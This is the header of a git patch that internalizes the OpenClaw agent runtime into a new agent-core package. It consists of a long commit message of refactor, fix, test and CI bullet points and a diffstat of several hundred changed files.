From bb46b79d3c1479f194a90afcf3dd69a1858a7898 Mon Sep 17 00:00:00 2001 From: Peter Steinberger Date: Wed, 27 May 2026 19:24:04 +0100 Subject: [PATCH] refactor: internalize OpenClaw agent runtime (#85341) * refactor: extract agent core package Introduce packages/agent-core as the OpenClaw-owned home for reusable agent loop, harness, session, prompt, and runtime dependency contracts. * refactor: extract shared llm runtime Move provider model registries, stream wrappers, OAuth helpers, and LLM utilities into src/llm with plugin-sdk barrels instead of depending on the old embedded runtime layout. * refactor: remove pi runtime internals Rename remaining Pi-shaped agent surfaces to OpenClaw agent runtime names, delete obsolete Pi docs and package graph checks, and add the third-party notice for incorporated code. * refactor: tighten agent session runtime Make agent-core/runtime dependencies explicit, consolidate compaction and session transcript helpers, and move model/session helpers behind OpenClaw-owned contracts. * refactor: remove static model and pi auth paths Drop static model catalogs and Pi auth bridges, move model/provider facts to manifest-owned runtime contracts, and harden internal embedded-agent utilities. * refactor: remove legacy provider compat paths * docs: remove agent parity notes * fix: skip provider wildcard metadata parsing * refactor: share session extension sdk loading * refactor: inline acpx proxy error formatter * refactor: fold edit recovery into edit tool * fix: accept extension batch separator * test: align startup provider plugin expectations * fix: restore provider-scoped release discovery * test: align static asset packaging expectations * fix: run static provider catalogs during scoped discovery * fix: add provider entry catalogs for scoped live discovery * fix: load lightweight provider catalog entries * fix: refresh provider-scoped plugin metadata * fix: keep provider catalog entries on release live path * fix: keep static manifest models in release live checks * fix: harden release model discovery * fix: reduce OpenAI live cache probe reasoning * fix: disable OpenAI cache probe reasoning * ci: extend OpenAI gateway live timeout * fix: extend live gateway model budget * fix: stabilize release validation regressions * fix: honor provider aliases in model rows * fix: stabilize release validation lanes * fix: stabilize release memory qa * ci: stabilize release validation lanes * ci: prefer ipv4 for live docker node calls * fix: restore shared tool-call stream wrapper * ci: remove legacy pi test shard alias * fix: clean up embedded agent test drift * fix: stabilize runtime alias status * fix: clean up embedded agent ci drift * fix: restore release ci invariants * fix: clean up post-rebase runtime drift * fix: restore release ci checks * fix: restore release ci after rebase * fix: remove stale pi runtime path * test: align compaction runtime expectations * test: update plugin prerelease expectations * fix: handle claude live tool approvals * fix: stabilize release validation gates * fix: finish agent runtime import * test: finish post-rebase agent runtime mocks * fix: keep codex compaction native * fix: stabilize codex app-server hook tests * test: isolate codex diagnostic active run * test: remove codex diagnostic completion race # Conflicts: # extensions/codex/src/app-server/run-attempt.test.ts * ci: fix full release manifest performance run id * refactor: narrow llm plugin sdk boundary * chore: drop generated google boundary stamps * fix: repair rebase fallout * fix: clean up rebased runtime references * fix: decode codex jwt payloads as base64url * fix: preserve shipped pi runtime alias * fix: add scoped sdk virtual modules * fix: decode llm codex oauth jwt as base64url * fix: avoid stale vertex adc negative cache * fix: harden tool arg decoding and codeql path * fix: keep vertex adc negative checks live * refactor: consolidate codex jwt and edit helpers * fix: await codex oauth node runtime imports * fix: preserve sdk tool and notice contracts * fix: preserve shipped compat config boundaries * fix: align codex oauth callback host * fix: terminate agent-core loop streams on failure * fix: keep codex oauth callback alive during fallback * ci: include session tools in critical codeql scans * fix: keep Cloudflare Anthropic provider auth header * docs: redirect legacy pi runtime pages * fix: honor bundled web provider compat discovery * fix: protect session output spill files * fix: keep legacy agent dir env blocked * fix: contain auto-discovered skill symlinks * fix: harden agent core sdk proxy surfaces * fix: restore approval reaction sdk compat * fix: keep live docker runs bounded * fix: keep codex oauth redirect host aligned * fix: resolve post-rebase agent runtime drift * fix: redact anthropic oauth parse failures * fix: preserve responses strict tool shaping * fix: repair agent runtime rebase cleanup * docs: redirect retired parity pages * fix: bound auto-discovered resources to roots * fix: repair post-rebase agent test drift * fix: preserve bundled provider allowlist migration * fix: preserve manifest-owned provider aliases * fix: declare photon image dependency * fix: keep provider headers out of proxy body * fix: preserve shipped env aliases * fix: refresh control ui i18n generated state * fix: quote read fallback paths * fix: preview edits through configured backend * test: satisfy core test typecheck * fix: preserve ZAI usage auth fallback * test: repair codex diagnostic test * fix: repair agent runtime rebase drift * test: finish embedded runner import rename * fix: repair agent runtime rebase integrations * test: align compaction oauth fallback expectations * fix: allow sdk-auth session models * fix: update doctor tool schema import * fix: preserve bedrock plugin region * fix: stream harmony-like prose immediately * ci: include session runtime in codeql shards * fix: repair latest rebase integrations * fix: honor explicit codex websocket transport * fix: keep openai-compatible credentials provider-scoped * fix: refresh sdk api baseline after rebase * fix: route cli runtime aliases through openclaw harness * test: rename stale harness mock expectation * test: rename embedded agent overflow calls * test: clean embedded auth test wording * test: use openclaw stream types in deepinfra cache test * fix: refresh sdk api baseline on latest main * fix: honor bundled discovery compat allowlists * fix: refresh sdk api baseline after latest rebase * fix: remove stale rebase imports * test: rename stale model catalog mock * test: mock renamed doctor runtime modules * fix: map canonical kimi env auth * fix: use internal model registry in bench script * fix: migrate deepinfra provider catalog entry * fix: enforce builtin tool suppression * fix: route compaction auth and proxy payloads safely * refactor: prune unused llm registry leftovers * test: update codex hooks session import * test: fix model picker ci coverage * test: align model picker auth mock types --- ...gent-runtime-boundary-critical-quality.yml | 3 +- ...eql-core-auth-secrets-critical-quality.yml | 2 + ...rocess-tool-boundary-critical-security.yml | 17 +- .github/workflows/codeql-critical-quality.yml | 14 +- .../openclaw-live-and-e2e-checks-reusable.yml | 7 +- .github/workflows/openclaw-release-checks.yml | 6 +- .../workflows/qa-live-transports-convex.yml | 2 +- CHANGELOG.md | 1 + LICENSE | 3 + README.md | 4 +- THIRD_PARTY_NOTICES.md | 37 + apps/macos/Sources/OpenClaw/Constants.swift | 2 - .../Sources/OpenClaw/DebugSettings.swift | 81 - .../Sources/OpenClaw/ModelCatalogLoader.swift | 587 --- .../ModelCatalogLoaderTests.swift | 102 - config/knip.config.ts | 10 +- .../.generated/plugin-sdk-api-baseline.sha256 | 4 +- docs/.i18n/glossary.zh-CN.json | 24 + docs/agent-runtime-architecture.md | 48 + docs/auth-credential-semantics.md | 2 +- docs/channels/group-messages.md | 2 +- docs/cli/mcp.md | 8 +- docs/cli/migrate.md | 2 +- docs/cli/models.md | 4 +- docs/cli/status.md | 2 +- docs/concepts/agent-loop.md | 20 +- docs/concepts/agent-runtimes.md | 44 +- docs/concepts/agent.md | 6 +- docs/concepts/compaction.md | 2 +- docs/concepts/context-engine.md | 10 +- docs/concepts/model-failover.md | 2 +- docs/concepts/model-providers.md | 23 +- docs/concepts/models.md | 7 +- docs/concepts/oauth.md | 2 +- docs/concepts/qa-e2e-automation.md | 2 +- docs/concepts/queue-steering.md | 20 +- docs/concepts/queue.md | 4 +- docs/concepts/system-prompt.md | 2 +- docs/docs.json | 32 +- docs/gateway/background-process.md | 6 +- docs/gateway/config-agents.md | 17 +- docs/gateway/config-tools.md | 8 +- docs/gateway/configuration-reference.md | 11 +- docs/gateway/doctor.md | 8 +- docs/help/debugging.md | 13 +- docs/help/faq-first-run.md | 4 +- .../gpt55-codex-agentic-parity-maintainers.md | 196 - docs/help/gpt55-codex-agentic-parity.md | 230 -- docs/help/testing-live.md | 4 +- docs/help/testing.md | 14 +- docs/index.md | 6 +- docs/nodes/images.md | 2 +- docs/{pi-dev.md => openclaw-agent-runtime.md} | 46 +- docs/pi.md | 573 --- docs/plan/codex-context-engine-harness.md | 68 +- docs/plugins/architecture-internals.md | 15 +- docs/plugins/bundles.md | 449 ++- docs/plugins/codex-harness-runtime.md | 10 +- docs/plugins/codex-harness.md | 40 +- docs/plugins/codex-native-plugins.md | 2 +- docs/plugins/manifest.md | 26 +- docs/plugins/sdk-agent-harness.md | 35 +- docs/plugins/sdk-migration.md | 35 +- docs/plugins/sdk-overview.md | 15 +- docs/plugins/sdk-provider-plugins.md | 24 +- docs/plugins/sdk-runtime.md | 2 +- docs/plugins/sdk-subpaths.md | 1 + docs/providers/bedrock.md | 2 +- docs/providers/openai.md | 36 +- docs/providers/opencode-go.md | 2 +- docs/reference/AGENTS.default.md | 2 +- docs/reference/code-mode.md | 4 +- .../session-management-compaction.md | 32 +- docs/reference/transcript-hygiene.md | 8 +- docs/tools/acp-agents-setup.md | 3 +- docs/tools/acp-agents.md | 3 +- docs/tools/index.md | 32 +- docs/tools/skills.md | 4 +- docs/tools/slash-commands.md | 4 +- docs/tools/subagents.md | 2 +- docs/tools/thinking.md | 4 +- docs/tools/tokenjuice.md | 2 +- docs/tools/tool-search.md | 26 +- docs/tools/trajectory.md | 2 +- docs/web/webchat.md | 6 +- extensions/acpx/package.json | 4 - extensions/acpx/register.runtime.ts | 181 +- extensions/acpx/skills/acp-router/SKILL.md | 9 +- extensions/acpx/src/codex-auth-bridge.test.ts | 4 - .../src/runtime-internals/error-format.mjs | 6 - .../acpx/src/runtime-internals/mcp-proxy.mjs | 8 +- extensions/acpx/src/runtime-turn.ts | 180 + extensions/acpx/src/service.ts | 174 +- extensions/active-memory/index.test.ts | 166 +- extensions/active-memory/index.ts | 2 +- extensions/alibaba/openclaw.plugin.json | 9 +- .../mantle-anthropic.runtime.test.ts | 8 +- .../mantle-anthropic.runtime.ts | 19 +- .../amazon-bedrock-mantle/npm-shrinkwrap.json | 561 +-- extensions/amazon-bedrock-mantle/package.json | 3 +- extensions/amazon-bedrock/bedrock-options.ts | 44 + extensions/amazon-bedrock/discovery.test.ts | 28 +- extensions/amazon-bedrock/discovery.ts | 6 +- extensions/amazon-bedrock/index.test.ts | 38 +- extensions/amazon-bedrock/npm-shrinkwrap.json | 572 +-- extensions/amazon-bedrock/package.json | 5 +- .../provider-policy-api.test.ts | 9 - .../amazon-bedrock/register.sync.runtime.ts | 90 +- .../amazon-bedrock/stream.runtime.test.ts | 81 + extensions/amazon-bedrock/stream.runtime.ts | 949 +++++ extensions/anthropic-vertex/api.test.ts | 2 +- extensions/anthropic-vertex/api.ts | 2 +- .../anthropic-vertex/npm-shrinkwrap.json | 998 +----- extensions/anthropic-vertex/package.json | 4 +- .../anthropic-vertex/stream-runtime.test.ts | 2 +- extensions/anthropic-vertex/stream-runtime.ts | 37 +- extensions/anthropic/cli-backend.ts | 1 + extensions/anthropic/cli-migration.test.ts | 9 +- extensions/anthropic/cli-migration.ts | 15 - extensions/anthropic/config-defaults.ts | 3 - extensions/anthropic/index.test.ts | 18 + extensions/anthropic/openclaw.plugin.json | 9 +- extensions/anthropic/package.json | 3 - extensions/anthropic/register.runtime.ts | 29 +- extensions/anthropic/stream-wrappers.test.ts | 2 +- extensions/anthropic/stream-wrappers.ts | 27 +- extensions/arcee/openclaw.plugin.json | 9 +- extensions/azure-speech/openclaw.plugin.json | 24 +- extensions/brave/openclaw.plugin.json | 3 - .../browser/src/browser-tool.actions.ts | 2 +- extensions/byteplus/live.test.ts | 2 +- extensions/byteplus/openclaw.plugin.json | 9 +- extensions/cerebras/openclaw.plugin.json | 9 +- extensions/chutes/oauth.ts | 8 +- extensions/chutes/openclaw.plugin.json | 9 +- extensions/clickclack/src/inbound.test.ts | 4 +- .../cloudflare-ai-gateway/index.test.ts | 2 +- .../openclaw.plugin.json | 9 +- .../stream-wrappers.test.ts | 2 +- .../cloudflare-ai-gateway/stream-wrappers.ts | 2 +- extensions/codex/npm-shrinkwrap.json | 1675 --------- extensions/codex/package.json | 1 - .../codex/src/app-server/auth-bridge.test.ts | 7 - extensions/codex/src/app-server/compact.ts | 36 +- .../context-engine-projection.test.ts | 2 +- ...delivery-no-reply-runtime-contract.test.ts | 2 +- .../src/app-server/dynamic-tools.test.ts | 2 +- .../codex/src/app-server/dynamic-tools.ts | 4 +- .../src/app-server/event-projector.test.ts | 2 +- .../codex/src/app-server/event-projector.ts | 37 +- .../outcome-fallback-runtime-contract.test.ts | 6 +- .../run-attempt.context-engine.test.ts | 4 +- .../src/app-server/run-attempt.hooks.test.ts | 12 +- .../codex/src/app-server/run-attempt.test.ts | 8 +- .../codex/src/app-server/run-attempt.ts | 7 + .../src/app-server/session-binding.test.ts | 2 +- .../codex/src/app-server/session-history.ts | 6 +- .../codex/src/app-server/test-support.ts | 6 +- .../codex/src/app-server/thread-lifecycle.ts | 2 +- .../src/app-server/transcript-mirror.test.ts | 2 +- extensions/codex/src/commands.ts | 4 +- extensions/codex/src/manifest.test.ts | 3 +- extensions/comfy/openclaw.plugin.json | 9 +- extensions/deepgram/openclaw.plugin.json | 9 +- extensions/deepinfra/cache-wrapper.test.ts | 16 +- extensions/deepinfra/openclaw.plugin.json | 2 +- extensions/deepseek/deepseek.live.test.ts | 4 +- extensions/deepseek/index.test.ts | 4 +- extensions/deepseek/openclaw.plugin.json | 9 +- .../src/actions/handle-action.guild-admin.ts | 2 +- .../discord/src/actions/handle-action.ts | 2 +- .../discord/src/actions/runtime.guild.ts | 2 +- .../discord/src/actions/runtime.messaging.ts | 2 +- .../discord/src/actions/runtime.moderation.ts | 2 +- .../discord/src/actions/runtime.presence.ts | 2 +- extensions/discord/src/actions/runtime.ts | 2 +- .../discord/src/monitor/model-picker.test.ts | 30 +- .../discord/src/monitor/model-picker.view.ts | 8 +- ...native-command-model-picker-interaction.ts | 2 +- .../native-command.model-picker.test.ts | 6 +- extensions/elevenlabs/openclaw.plugin.json | 9 +- extensions/exa/openclaw.plugin.json | 9 +- extensions/fal/openclaw.plugin.json | 9 +- extensions/firecrawl/openclaw.plugin.json | 9 +- extensions/fireworks/openclaw.plugin.json | 9 +- extensions/fireworks/package.json | 3 - extensions/fireworks/stream.test.ts | 4 +- extensions/fireworks/stream.ts | 4 +- .../connection-bound-ids.live.test.ts | 4 +- extensions/github-copilot/index.ts | 3 +- extensions/github-copilot/models.test.ts | 11 - .../github-copilot/openclaw.plugin.json | 9 +- extensions/github-copilot/package.json | 1 - extensions/github-copilot/stream.ts | 4 +- extensions/google-meet/index.test.ts | 18 +- extensions/google/cli-backend.ts | 1 + extensions/google/gemini-cli-provider.ts | 3 +- extensions/google/index.test.ts | 2 +- extensions/google/openclaw.plugin.json | 8 +- extensions/google/package.json | 1 - extensions/google/provider-catalog.ts | 35 + extensions/google/provider-discovery.ts | 15 + extensions/google/provider-registration.ts | 5 + extensions/google/transport-stream.test.ts | 2 +- extensions/google/transport-stream.ts | 4 +- extensions/gradium/openclaw.plugin.json | 9 +- extensions/groq/api.ts | 10 - extensions/groq/index.test.ts | 35 +- extensions/groq/index.ts | 3 - extensions/huggingface/index.ts | 3 +- extensions/huggingface/openclaw.plugin.json | 9 +- extensions/inworld/openclaw.plugin.json | 9 +- extensions/kilocode/index.test.ts | 4 +- extensions/kilocode/openclaw.plugin.json | 9 +- .../kimi-coding/implicit-provider.test.ts | 19 +- extensions/kimi-coding/openclaw.plugin.json | 14 +- extensions/kimi-coding/package.json | 3 - extensions/kimi-coding/stream.test.ts | 12 +- extensions/kimi-coding/stream.ts | 15 +- extensions/litellm/openclaw.plugin.json | 9 +- extensions/llm-task/src/llm-task-tool.test.ts | 28 +- extensions/llm-task/src/llm-task-tool.ts | 2 +- extensions/lmstudio/openclaw.plugin.json | 9 +- extensions/lmstudio/package.json | 3 - extensions/lmstudio/src/stream.test.ts | 4 +- extensions/lmstudio/src/stream.ts | 5 +- extensions/matrix/src/tool-actions.ts | 2 +- extensions/memory-core/src/flush-plan.ts | 4 +- .../memory-core/src/memory-budget.test.ts | 2 +- .../microsoft-foundry/openclaw.plugin.json | 9 +- extensions/minimax/index.test.ts | 4 +- extensions/minimax/openclaw.plugin.json | 15 +- extensions/minimax/provider-discovery.ts | 29 + extensions/minimax/provider-registration.ts | 27 +- extensions/mistral/api.test.ts | 36 - extensions/mistral/index.ts | 3 - extensions/mistral/model-definitions.test.ts | 2 +- extensions/mistral/openclaw.plugin.json | 9 +- extensions/mistral/provider-compat.ts | 62 - extensions/moonshot/index.test.ts | 24 +- extensions/moonshot/index.ts | 1 + extensions/moonshot/openclaw.plugin.json | 13 +- extensions/moonshot/provider-contract-api.ts | 1 + extensions/moonshot/provider-discovery.ts | 1 + extensions/nvidia/openclaw.plugin.json | 9 +- extensions/ollama/index.test.ts | 31 +- extensions/ollama/index.ts | 18 - extensions/ollama/ollama.live.test.ts | 2 +- extensions/ollama/openclaw.plugin.json | 9 +- extensions/ollama/package.json | 1 - extensions/ollama/src/discovery-shared.ts | 6 +- extensions/ollama/src/ollama-json.ts | 147 +- extensions/ollama/src/stream.ts | 8 +- extensions/openai/index.test.ts | 7 +- extensions/openai/native-web-search.ts | 4 +- .../openai/openai-codex-auth-identity.test.ts | 13 + .../openai-codex-oauth-flow.runtime.test.ts | 29 + .../openai/openai-codex-oauth-flow.runtime.ts | 537 +++ .../openai/openai-codex-oauth-page.runtime.ts | 114 + .../openai-codex-oauth-types.runtime.ts | 71 + .../openai/openai-codex-oauth.runtime.ts | 3 +- .../openai/openai-codex-pkce.runtime.ts | 40 + .../openai/openai-codex-provider.runtime.ts | 39 +- .../openai/openai-codex-provider.test.ts | 2 +- .../openai/openai-provider.live.test.ts | 18 +- extensions/openai/openai-provider.test.ts | 6 +- extensions/openai/openai.live.test.ts | 48 +- extensions/openai/openclaw.plugin.json | 9 +- extensions/openai/openclaw.plugin.test.ts | 22 +- extensions/openai/package.json | 1 - extensions/opencode-go/index.test.ts | 16 +- extensions/opencode-go/index.ts | 8 +- extensions/opencode-go/onboard.test.ts | 2 +- extensions/opencode-go/openclaw.plugin.json | 9 +- extensions/opencode-go/provider-catalog.ts | 184 +- .../opencode/media-understanding-provider.ts | 2 +- extensions/opencode/openclaw.plugin.json | 9 +- extensions/openrouter/index.test.ts | 32 +- extensions/openrouter/openclaw.plugin.json | 9 +- extensions/openrouter/openrouter.live.test.ts | 2 +- extensions/openrouter/stream.ts | 2 +- extensions/perplexity/openclaw.plugin.json | 9 +- extensions/policy/src/doctor/register.test.ts | 19 +- .../qa-lab/src/agentic-parity-report.test.ts | 22 +- .../qa-lab/src/agentic-parity-report.ts | 30 +- extensions/qa-lab/src/cli.runtime.test.ts | 42 +- extensions/qa-lab/src/cli.runtime.ts | 30 +- extensions/qa-lab/src/cli.test.ts | 4 +- extensions/qa-lab/src/cli.ts | 4 +- .../qa-lab/src/codex-plugin-lifecycle.test.ts | 18 +- extensions/qa-lab/src/codex-plugin.fixture.ts | 20 +- extensions/qa-lab/src/confidence-report.ts | 18 +- extensions/qa-lab/src/harness-parity.test.ts | 10 +- extensions/qa-lab/src/jsonl-replay.test.ts | 12 +- extensions/qa-lab/src/jsonl-replay.ts | 24 +- .../telegram/telegram-live.runtime.test.ts | 4 +- .../telegram/telegram-live.runtime.ts | 2 +- .../qa-lab/src/multipass.runtime.test.ts | 4 +- .../src/providers/live-frontier/auth.ts | 2 +- extensions/qa-lab/src/runtime-parity.test.ts | 742 ---- extensions/qa-lab/src/runtime-parity.ts | 57 +- .../qa-lab/src/scenario-catalog.test.ts | 17 +- .../qa-lab/src/suite.summary-json.test.ts | 8 +- extensions/qa-lab/src/suite.test.ts | 6 +- extensions/qa-lab/src/suite.ts | 52 +- .../src/token-efficiency-report.test.ts | 22 +- .../qa-lab/src/token-efficiency-report.ts | 55 +- .../qa-lab/src/tool-coverage-report.test.ts | 36 +- extensions/qa-lab/src/tool-coverage-report.ts | 27 +- .../src/engine/gateway/response-timeout.ts | 4 +- extensions/qwen/openclaw.plugin.json | 9 +- extensions/qwen/stream.test.ts | 4 +- extensions/qwen/stream.ts | 2 +- extensions/runway/openclaw.plugin.json | 9 +- extensions/senseaudio/openclaw.plugin.json | 9 +- extensions/sglang/openclaw.plugin.json | 9 +- extensions/skill-workshop/index.test.ts | 24 +- extensions/skill-workshop/src/reviewer.ts | 2 +- extensions/slack/src/action-runtime.ts | 2 +- extensions/slack/src/channel-actions.ts | 2 +- .../slack/src/message-action-dispatch.ts | 2 +- extensions/synthetic/openclaw.plugin.json | 9 +- extensions/tavily/openclaw.plugin.json | 9 +- extensions/telegram/src/action-runtime.ts | 2 +- .../src/bot-message-context.test-harness.ts | 26 - .../telegram/src/bot.media.e2e-harness.ts | 10 +- .../telegram/src/bot.media.test-utils.ts | 4 +- extensions/telegram/src/bot.test.ts | 4 +- extensions/tencent/openclaw.plugin.json | 9 +- .../provider-model-test-helpers.ts | 2 +- extensions/tlon/npm-shrinkwrap.json | 14 +- extensions/together/openclaw.plugin.json | 9 +- extensions/tokenjuice/index.test.ts | 4 +- extensions/tokenjuice/index.ts | 2 +- extensions/tokenjuice/manifest.test.ts | 2 +- extensions/tokenjuice/openclaw.plugin.json | 2 +- .../vercel-ai-gateway/openclaw.plugin.json | 9 +- extensions/vllm/openclaw.plugin.json | 9 +- extensions/vllm/stream.test.ts | 4 +- extensions/vllm/stream.ts | 2 +- .../voice-call/src/response-generator.test.ts | 36 +- .../voice-call/src/response-generator.ts | 6 +- extensions/voice-call/src/runtime.test.ts | 41 +- extensions/volcengine/openclaw.plugin.json | 17 +- extensions/voyage/openclaw.plugin.json | 9 +- extensions/vydra/openclaw.plugin.json | 9 +- extensions/whatsapp/src/action-runtime.ts | 2 +- .../whatsapp/src/auto-reply.test-harness.ts | 10 +- extensions/xai/api.test.ts | 22 +- extensions/xai/api.ts | 12 - extensions/xai/index.test.ts | 13 - extensions/xai/index.ts | 4 - extensions/xai/model-id.test.ts | 2 +- extensions/xai/openclaw.plugin.json | 9 +- extensions/xai/package.json | 1 - extensions/xai/stream.test.ts | 9 +- extensions/xai/stream.ts | 16 +- extensions/xai/test-helpers.ts | 4 +- extensions/xai/web-search.test.ts | 2 +- extensions/xai/x-search-tool-shared.ts | 2 +- extensions/xiaomi/index.test.ts | 6 +- extensions/xiaomi/openclaw.plugin.json | 9 +- extensions/xiaomi/stream.ts | 2 +- extensions/zai/index.test.ts | 30 +- extensions/zai/index.ts | 35 +- extensions/zai/model-definitions.test.ts | 10 +- extensions/zai/openclaw.plugin.json | 8 + npm-shrinkwrap.json | 1482 +++----- package.json | 40 +- packages/agent-core/package.json | 122 + packages/agent-core/src/agent-loop.test.ts | 74 + packages/agent-core/src/agent-loop.ts | 839 +++++ packages/agent-core/src/agent.ts | 592 +++ .../agent-core/src/harness/agent-harness.ts | 1184 ++++++ .../compaction/branch-summarization.ts | 310 ++ .../src/harness/compaction/compaction.ts | 864 +++++ .../src/harness/compaction/utils.ts | 167 + .../agent-core/src/harness/env/kill-tree.ts | 137 + packages/agent-core/src/harness/env/nodejs.ts | 598 ++++ packages/agent-core/src/harness/messages.ts | 179 + .../src/harness/prompt-templates.ts | 319 ++ .../src/harness/session/jsonl-repo.ts | 197 + .../src/harness/session/jsonl-storage.ts | 349 ++ .../src/harness/session/memory-repo.ts | 50 + .../src/harness/session/memory-storage.ts | 148 + .../src/harness/session/repo-utils.ts | 61 + .../agent-core/src/harness/session/session.ts | 270 ++ .../agent-core/src/harness/session/uuid.ts | 54 + packages/agent-core/src/harness/skills.ts | 463 +++ .../agent-core/src/harness/system-prompt.ts | 36 + packages/agent-core/src/harness/types.ts | 855 +++++ .../src/harness/utils/shell-output.ts | 174 + .../agent-core/src/harness/utils/truncate.ts | 361 ++ packages/agent-core/src/index.ts | 52 + packages/agent-core/src/llm.ts | 267 ++ packages/agent-core/src/node.ts | 2 + packages/agent-core/src/runtime-deps.ts | 37 + packages/agent-core/src/types.ts | 437 +++ packages/agent-core/src/validation.ts | 308 ++ .../src/host/embeddings-remote-client.test.ts | 4 +- .../src/host/openclaw-runtime-agent.ts | 2 +- .../src/host/openclaw-runtime.ts | 2 +- packages/memory-host-sdk/src/runtime-core.ts | 2 +- packages/sdk/src/types.ts | 2 +- pnpm-lock.yaml | 940 +++-- pnpm-workspace.yaml | 18 +- ...instruction-followthrough-repo-contract.md | 2 +- qa/scenarios/index.md | 4 +- .../models/codex-harness-no-meta-leak.md | 11 +- .../gpt55-thinking-visibility-switch.md | 2 +- .../approval-turn-tool-followthrough.md | 2 +- .../auth-profile-doctor-migration-safety.md | 21 +- ...d => codex-legacy-read-tool-vocabulary.md} | 22 +- .../runtime/compaction-retry-mutating-tool.md | 5 +- ...mpty-response-recovery-replay-safe-read.md | 2 +- .../empty-response-retry-budget-exhausted.md | 2 +- ...easoning-only-no-auto-retry-after-write.md | 3 +- ...easoning-only-recovery-replay-safe-read.md | 2 +- .../runtime/streaming-final-integrity.md | 2 +- qa/scenarios/runtime/tools/apply-patch.md | 4 +- qa/scenarios/runtime/tools/bash.md | 6 +- qa/scenarios/runtime/tools/edit.md | 6 +- qa/scenarios/runtime/tools/exec.md | 4 +- qa/scenarios/runtime/tools/fs-list.md | 4 +- qa/scenarios/runtime/tools/fs-read.md | 6 +- qa/scenarios/runtime/tools/fs-write.md | 6 +- qa/scenarios/runtime/tools/grep.md | 4 +- qa/scenarios/runtime/tools/image-generate.md | 4 +- qa/scenarios/runtime/tools/message-tool.md | 2 +- qa/scenarios/runtime/tools/session-status.md | 4 +- qa/scenarios/runtime/tools/sessions-spawn.md | 4 +- qa/scenarios/runtime/tools/web-fetch.md | 4 +- qa/scenarios/runtime/tools/web-search.md | 4 +- .../security/secret-redaction-tool-logs.md | 2 +- .../medium-game-plan-codex-harness.md | 11 +- ...d => medium-game-plan-openclaw-harness.md} | 37 +- scripts/audit-seams.mjs | 6 +- scripts/bench-model.ts | 16 +- scripts/build-all.mjs | 2 +- scripts/check-deprecated-api-usage.mjs | 1 - scripts/control-ui-i18n.ts | 557 +-- scripts/copy-export-html-templates.ts | 63 +- scripts/deadcode-unused-files.allowlist.mjs | 1 - scripts/dev/channel-message-flows.ts | 2 +- scripts/docker/install-sh-e2e/run.sh | 2 +- scripts/docs-i18n/prompt.go | 6 +- ...> agent-bundle-mcp-tools-docker-client.ts} | 30 +- ...er.sh => agent-bundle-mcp-tools-docker.sh} | 18 +- .../e2e/lib/codex-media-path/write-config.mjs | 7 +- .../lib/codex-npm-plugin-live/assertions.mjs | 5 +- scripts/e2e/lib/fixtures/config.mjs | 2 +- .../e2e/lib/live-plugin-tool/assertions.mjs | 4 +- .../lib/openai-chat-tools/write-config.mjs | 4 +- scripts/e2e/npm-telegram-rtt-config.mjs | 4 +- scripts/e2e/parallels/powershell.ts | 2 +- .../session-runtime-context-docker-client.ts | 4 +- scripts/e2e/status-corrupt-plugin-deps.sh | 1 - scripts/embedded-run-abort-leak.ts | 2 +- scripts/lib/ci-node-test-plan.mjs | 2 +- scripts/lib/dependency-ownership.json | 17 +- scripts/lib/docker-e2e-scenarios.mjs | 14 +- scripts/lib/live-docker-auth.sh | 26 + scripts/lib/openclaw-e2e-instance.sh | 1 - scripts/lib/openclaw-test-state.mjs | 1 - ...plugin-sdk-deprecated-public-subpaths.json | 12 + scripts/lib/plugin-sdk-entrypoints.json | 6 +- scripts/openclaw-cross-os-release-checks.ts | 2 +- scripts/package-mac-app.sh | 10 - scripts/perf/issue-78851-model-resolution.ts | 2 +- scripts/perf/rtt-regression-audit.md | 2 +- scripts/test-extension-batch.mjs | 8 +- scripts/test-live-acp-bind-docker.sh | 2 +- scripts/test-live-cli-backend-docker.sh | 2 +- scripts/test-live-codex-harness-docker.sh | 2 +- scripts/test-live-gateway-models-docker.sh | 6 +- scripts/test-live-models-docker.sh | 2 +- scripts/test-live-subagent-announce-docker.sh | 6 +- scripts/test-projects.test-support.mjs | 10 +- skills/coding-agent/SKILL.md | 12 +- ...edentials.ts => agent-auth-credentials.ts} | 36 +- ...y-core.ts => agent-auth-discovery-core.ts} | 16 +- ...agent-auth-discovery.external-cli.test.ts} | 18 +- ...h-discovery.ts => agent-auth-discovery.ts} | 27 +- ...h-json.test.ts => agent-auth-json.test.ts} | 32 +- .../{pi-auth-json.ts => agent-auth-json.ts} | 27 +- ...st.ts => agent-bundle-lsp-runtime.test.ts} | 16 +- ...runtime.ts => agent-bundle-lsp-runtime.ts} | 6 +- ...-bundle-lsp-runtime.windows-spawn.test.ts} | 6 +- ...ize.ts => agent-bundle-mcp-materialize.ts} | 10 +- ...test.ts => agent-bundle-mcp-names.test.ts} | 4 +- ...mcp-names.ts => agent-bundle-mcp-names.ts} | 0 ...st.ts => agent-bundle-mcp-runtime.test.ts} | 14 +- ...runtime.ts => agent-bundle-mcp-runtime.ts} | 16 +- ...ss.ts => agent-bundle-mcp-test-harness.ts} | 2 +- ...gent-bundle-mcp-tools.materialize.test.ts} | 8 +- ...bundle-mcp-tools.request-boundary.test.ts} | 8 +- ...mcp-tools.ts => agent-bundle-mcp-tools.ts} | 6 +- ...mcp-types.ts => agent-bundle-mcp-types.ts} | 0 src/agents/agent-command.ts | 4 +- ...tants.ts => agent-compaction-constants.ts} | 0 .../compaction-instructions.test.ts | 0 .../compaction-instructions.ts | 0 .../compaction-safeguard-quality.ts | 0 .../compaction-safeguard-runtime.ts | 4 +- .../compaction-safeguard.test.ts | 10 +- .../compaction-safeguard.ts | 8 +- .../context-pruning.test.ts | 6 +- .../context-pruning.ts | 2 +- .../context-pruning/extension.ts | 2 +- .../context-pruning/pruner.test.ts | 4 +- .../context-pruning/pruner.ts | 8 +- .../context-pruning/runtime.ts | 2 +- .../context-pruning/settings.ts | 0 .../context-pruning/tools.ts | 0 .../session-manager-runtime-registry.ts | 0 ....ts => agent-mcp-style.cache.live.test.ts} | 2 +- ....ts => agent-model-discovery.auth.test.ts} | 28 +- .../agent-model-discovery.internal.test.ts | 11 + ...nt-model-discovery.synthetic-auth.test.ts} | 17 +- ....test.ts => agent-model-discovery.test.ts} | 6 +- src/agents/agent-model-discovery.ts | 162 + ....ts => agent-project-settings-snapshot.ts} | 70 +- ... => agent-project-settings.bundle.test.ts} | 33 +- ...test.ts => agent-project-settings.test.ts} | 66 +- ...-settings.ts => agent-project-settings.ts} | 36 +- src/agents/agent-runtime-id.ts | 43 + src/agents/agent-scope-config.ts | 8 +- src/agents/agent-scope.ts | 7 +- ...ettings.test.ts => agent-settings.test.ts} | 126 +- .../{pi-settings.ts => agent-settings.ts} | 38 +- ...dapter.after-tool-call.fires-once.test.ts} | 16 +- 